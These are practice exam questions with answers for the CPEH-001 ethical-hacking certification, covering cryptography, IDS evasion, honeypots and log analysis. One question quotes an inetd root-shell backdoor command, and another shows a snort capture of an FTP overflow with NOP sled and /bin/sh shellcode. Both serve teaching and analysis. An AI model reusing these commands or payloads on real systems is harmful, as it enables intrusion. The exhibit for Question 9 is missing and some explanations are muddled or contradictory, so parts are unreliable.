Free Questions for CPEH-001 by vceexamstest

Shared by Crawford on 20-10-2022

For More Free Questions and Preparation Resources

Check the Links on Last Page

Question 1

Question Type: MultipleChoice

In the context of using PKI, when Sven wishes to send a secret message to Bob, he looks up Bob's public key in a directory, uses it to encrypt the message before sending it off. Bob then uses his private key to decrypt the message and reads it. No one listening on can decrypt the message. Anyone can send an encrypted message to Bob but only Bob can read it. Thus, although many people may know Bob's public key and use it to verify Bob's signature, they cannot discover Bob's private key and use it to forge digital signatures. What does this principle refer to?

Options:

A- Irreversibility

B- Non-repudiation

C- Symmetry

D- Asymmetry

Answer:

D

Explanation:

PKI uses asymmetric key pair encryption. One key of the pair is the only way to decrypt data encrypted with the other.

Question 2

Question Type: MultipleChoice

Steven the hacker realizes that the network administrator of XYZ is using syskey to protect organization resources in the Windows 2000 Server. Syskey independently encrypts the hashes so that physical access to the server, tapes, or ERDs is only first step to cracking the passwords. Steven must break through the encryption used by syskey before he can attempt to brute force dictionary attacks on the hashes. Steven runs a program called "SysCracker" targeting the Windows 2000 Server machine in attempting to crack the hash used by Syskey. He needs to configure the encryption level before he can launch attach. How many bits does Syskey use for encryption?

Options:

A- 40 bit

B- 64 bit

C- 256 bit

D- 128 bit

Answer:

D

Explanation:

SYSKEY is a utility that encrypts the hashed password information in a SAM database using a 128-bit encryption key.

Question 3

Question Type: MultipleChoice

Symmetric encryption algorithms are known to be fast but present great challenges on the key management side. Asymmetric encryption algorithms are slow but allow communication with a remote host without having to transfer a key out of band or in person. If we combine the strength of both crypto systems where we use the symmetric algorithm to encrypt the bulk of the data and then use the asymmetric encryption system to encrypt the symmetric key, what would this type of usage be known as?

Options:

A- Symmetric system

B- Combined system

C- Hybrid system

D- Asymmetric system

Answer:

C

Explanation:

Because of the complexity of the underlying problems, most public-key algorithms involve operations such as modular multiplication and exponentiation, which are much more computationally expensive than the techniques used in most block ciphers, especially with typical key sizes. As a result, public-key cryptosystems are commonly 'hybrid' systems, in which a fast symmetric-key encryption algorithm is used for the message itself, while the relevant symmetric key is sent with the message, but encrypted using a public-key algorithm. Similarly, hybrid signature schemes are often used, in which a cryptographic hash function is computed, and only the resulting hash is digitally signed.

Question 4

Question Type: MultipleChoice

StackGuard (as used by Immunix), ssp/ProPolice (as used by OpenBSD), and Microsoft's /GS option use _____ defense against buffer overflow attacks.

Options:

A- Canary

B- Hex editing

C- Format checking

D- Non-executing stack

Answer:

A

Explanation:

Canaries or canary words are known values that are placed between a buffer and control data on the stack to monitor buffer overflows. When the buffer overflows, it will clobber the canary, making the overflow evident. This is a reference to the historic practice of using canaries in coal mines, since they would be affected by toxic gases earlier than the miners, thus providing a biological warning system.

Question 5

Question Type: MultipleChoice

Study the following exploit code taken from a Linux machine and answer the questions below:

echo "ingreslock stream tcp nowait root /bin/sh sh --I" > /tmp/x;

/usr/sbin/inetd --s /tmp/x;

sleep 10;

/bin/ rm --f /tmp/x AAAA...AAA

In the above exploit code, the command "/bin/sh sh --I" is given.

What is the purpose, and why is 'sh' shown twice?

Options:

A- The command /bin/sh sh --i appearing in the exploit code is actually part of an inetd configuration file.

B- The length of such a buffer overflow exploit makes it prohibitive for user to enter manually.
The second 'sh' automates this function.

C- It checks for the presence of a codeword (setting the environment variable) among the environment variables.

D- It is a giveaway by the attacker that he is a script kiddy.

Answer:

A

Explanation:

What's going on in the above question is the attacker is trying to write to the unix filed /tm/x (his inetd.conf replacement config) -- he is attempting to add a service called ingresslock (which doesnt exist), which is 'apparently' suppose to spawn a shell the given port specified by /etc/services for the service 'ingresslock', ingresslock is a non-existant service, and if an attempt were made to respawn inetd, the service would error out on that line. (he would have to add the service to /etc/services to suppress the error). Now the question is asking about /bin/sh sh -i which produces an error that should read 'sh: /bin/sh: cannot execute binary file', the -i option places the shell in interactive mode and cannot be used to respawn itself.

Question 6

Question Type: **MultipleChoice**

What is the advantage in encrypting the communication between the agent and the monitor in an Intrusion Detection System?

Options:

A- Encryption of agent communications will conceal the presence of the agents

B- The monitor will know if counterfeit messages are being generated because they will not be encrypted

C- Alerts are sent to the monitor when a potential intrusion is detected

D- An intruder could intercept and delete data or alerts and the intrusion can go undetected

Answer:

B

Question 7

Question Type: MultipleChoice

An Evil Cracker is attempting to penetrate your private network security. To do this, he must not be seen by your IDS, as it may take action to stop him. What tool might he use to bypass the IDS?

Select the best answer.

Options:

A- Firewalk

B- Manhunt

C- Fragrouter

D- Fragids

Explanations:

Firewalking is a way to disguise a portscan. Thus, firewalking is not a tool, but a method of conducting a port scan in which it can be hidden from some firewalls. Synamtec Man-Hunt is an IDS, not a tool to evade an IDS.

Fragrouter is a tool that can take IP traffic and fragment it into multiple pieces. There is a legitimate reason that fragmentation is done, but it is also a technique that can help an attacker to evade detection while Fragids is a made-up tool and does not exist.

Answer:

C

Question 8

Question Type: **MultipleChoice**

There are two types of honeypots- high and low interaction. Which of these describes a low interaction honeypot? Select the best answers.

Options:

A- Emulators of vulnerable programs

B- More likely to be penetrated

C- Easier to deploy and maintain

D- Tend to be used for production

E- More detectable

F- Tend to be used for research

Explanations:

A low interaction honeypot would have emulators of vulnerable programs, not the real programs.

A high interaction honeypot is more likely to be penetrated as it is running the real program and is more vulnerable than an emulator.

Low interaction honeypots are easier to deploy and maintain. Usually you would just use a program that is already available for download and install it. Hackers don't usually crash or destroy these types of programs and it would require little maintenance.

A low interaction honeypot tends to be used for production.

Low interaction honeypots are more detectable because you are using emulators of the real programs. Many hackers will see this and realize that they are in a honeypot.

A low interaction honeypot tends to be used for production. A high interaction honeypot tends to be used for research.

Answer:

A, C, D, E

Question 9

Question Type: MultipleChoice

Exhibit:

Given the following extract from the snort log on a honeypot, what service is being exploited? :

Options:

A- FTP

B- SSH

C- Telnet

D- SMTP

Answer:

A

Explanation:

The connection is done to 172.16.1.104:21.

Question 10

Question Type: **MultipleChoice**

Exhibit:

```
12/09-01:22:31.167035 207.219.207.240:1882 -> 172.16.1.104:21
TCP TTL:50 TOS:0x0 ID:53476 DF
*****PA* Seq: 0x33BC72AD Ack: 0x110CE81E Win: 0x7D78
TCP Options => NOP NOP TS: 126045057 105803098
50 41 53 53 20 90 90 90 90 90 90 90 90 90 90 90 PASS ...........
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 31 C0 31 DB 31 C9 B0 46 CD .......1.1.1..F.
80 31 C0 31 DB 43 89 D9 41 B0 3F CD 80 EB 6B 5E .1.1.C..A.?...k^
31 C0 31 C9 8D 5E 01 88 46 04 66 B9 FF FF 01 B0 1.1..^..F.f.....
27 CD 80 31 C0 8D 5E 01 B0 3D CD 80 31 C0 31 DB '..1..^..=..1.1.
8D 5E 08 89 43 02 31 C9 FE C9 31 C0 8D 5E 08 B0 .^..C.1...1..^..
0C CD 80 FE C9 75 F3 31 C0 88 46 09 8D 5E 08 B0 .....u.1..F..^..
3D CD 80 FE 0E B0 30 FE C8 88 46 04 31 C0 88 46 =.....0...F.1..F
07 89 76 08 89 46 0C 89 F3 8D 4E 08 8D 56 0C B0 ..v..F....N..V..
0B CD 80 31 C0 31 DB B0 01 CD 80 E8 90 FF FF FF ...1.1..........
FF FF FF 30 62 69 6E 30 73 68 31 2E 2E 31 31 76 ...0bin0sh1..11v
65 6E 67 6C 69 6E 40 6B 6F 63 68 61 6D 2E 6B 61 englin@kocham.ka
73 69 65 2E 63 6F 6D 0D 0A sie.com..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
12/09-01:22:31.169534 172.16.1.104:21 -> 207.219.207.240:1882
TCP TTL:63 TOS:0x10 ID:48231 DF
*****PA* Seq: 0x110CE81E Ack: 0x33BC7446 Win: 0x7D78
TCP Options => NOP NOP TS: 105803113 126045057
35 33 30 20 4C 6F 67 69 6E 20 69 6E 63 6F 72 72 530 Login incorr
65 63 74 2E 0D 0A ect... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+  12/09-01:22:39.878150
172.16.1.104:21 -> 207.219.207.240:1882
TCP TTL:63 TOS:0x10 ID:48233 DF
*****PA* Seq: 0x110CE834 Ack: 0x33BC7447 Win: 0x7D78
TCP Options => NOP NOP TS: 105803984 126045931
32 32 31 20 59 6F 75 20 63 6F 75 6C 64 20 61 74 221 You could at
20 6C 65 61 73 74 20 73 61 79 20 67 6F 6F 64 62  least say goodb
79 65 2E 0D 0A ye... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+  12/09-01:22:39.880154
172.16.1.104:21 -> 207.219.207.240:1882
TCP TTL:63 TOS:0x10 ID:48234 DF
```

Given the following extract from the snort log on a honeypot, what do you infer from the attack?

Options:

A- A new port was opened

B- A new user id was created

C- The exploit was successful

D- The exploit was not successful

Answer:

D

Explanation:

The attacker submits a PASS to the honeypot and receives a login incorrect before disconnecting.